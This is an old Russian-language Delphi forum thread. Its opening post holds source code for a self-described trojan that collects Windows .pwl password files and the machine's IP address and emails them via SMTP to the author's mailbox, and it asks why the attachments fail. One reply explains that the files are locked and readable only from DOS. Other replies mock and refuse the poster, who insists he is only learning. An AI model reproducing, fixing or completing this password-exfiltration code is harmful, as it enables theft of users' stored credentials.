Help me please!!!

← →
grab3 © (2003-01-10 16:39) [0]

if NMSMTP1.Connected then //если подключились begin NMSMTP1.PostMessage.FromAddress :="Trojan@mail.ru"; NMSMTP1.PostMessage.FromName := "PASSWORDS"; NMSMTP1.PostMessage.ToAddress.Add("tome@mail.ru"); NMSMTP1.PostMessage.Body.Add("Ip: "+NMSMTP1.LocalIP); NMSMTP1.PostMessage.Subject := "First Trojan"; firsts:=findfirstfile(pchar(windir+"\"+"*.pwl") ,ff); nmsmtp1.PostMessage.Attachments.Add(ff.cFileName); while findnextfile(firsts,nf) do begin findnextfile(firsts,nf); nmsmtp1.PostMessage.Attachments.Add(windir+"\"+ff.cFileName); end; end; // try NMSMTP1.SendMail; // посылаем письмо except form1.Close; end;

При посылке мыла ругается: "Can"t open такойто.pwl". В чем может быть дело?
windir+"\"+ff.cFileName - "эта конструкция показывает совершенно корректный путь к файлу...

← →
Zemal © (2003-01-10 16:45) [1]

ГЫ :) Нехороший ты парень :). И никто тут помогать таким как ты небудет :). ГЫЫЫЫЫЫЫЫЫ :)

← →
grab3 © (2003-01-10 16:46) [2]

Почему?

← →
Zemal © (2003-01-10 16:46) [3]

Нашол тоже мне на чём вирусы писать :). Может на VB попробуешь ещё???

← →
Song © (2003-01-10 16:53) [4]

Файл pwl занят системой всегда. Это можно сделать только из-под ДОСа.

← →
Zemal © (2003-01-10 16:53) [5]

Ну и скажи, "добрый" человек: ЗАЧЕМ ТЕБЕ PWL-КА??? Любоваться на неё будешь? Или ты пароли коллекцианируешь? Типа кулл хацкер, что-ли? А что-то полезное писать не проболал?

>ГЫ :) Нехороший ты парень :). И никто тут помогать таким как ты небудет :). ГЫЫЫЫЫЫЫЫЫ :)

>Ну и скажи, "добрый" человек: ЗАЧЕМ ТЕБЕ PWL-КА??? Любоваться на неё будешь? Или ты пароли коллекцианируешь? Типа кулл хацкер, что-ли? А что-то полезное писать не проболал?

Уважаемые мастера! Я не в коем разе не собираюсь использовать этот троян по назначению(разве что на себе самом :-). Никогда не считал себя "кул хацкером". Тот, кто думает так о себе и есть настоящий ламер. По моим соображениям это глупо. Кроме того я не хочу тратить свои силы и время на то чтобы заполучив пароли обходить АОН провайдера и пр. А потом еще и получать резиновой дубинкой по голове при неудаче.

Дело в том, что я просто учусь, как и все когда то. И кстати уже довольно многому научился благодаря всем ВАМ. На Паскале, а тем более на Дельфи я никогда не пытался программировать и даже синтаксиса то толком не знал. И только в начале месяца случайно, "от нефиг делать" поставил Дельфи и что то более или менее стало получаться.

С уважением и благодарностью,
Бенкевич Антон Леонидович

з.ы. Так не откажите же мне во внимании уважаемые мастера. :-)

Да никак...

Help me please!!! Найти похожие ветки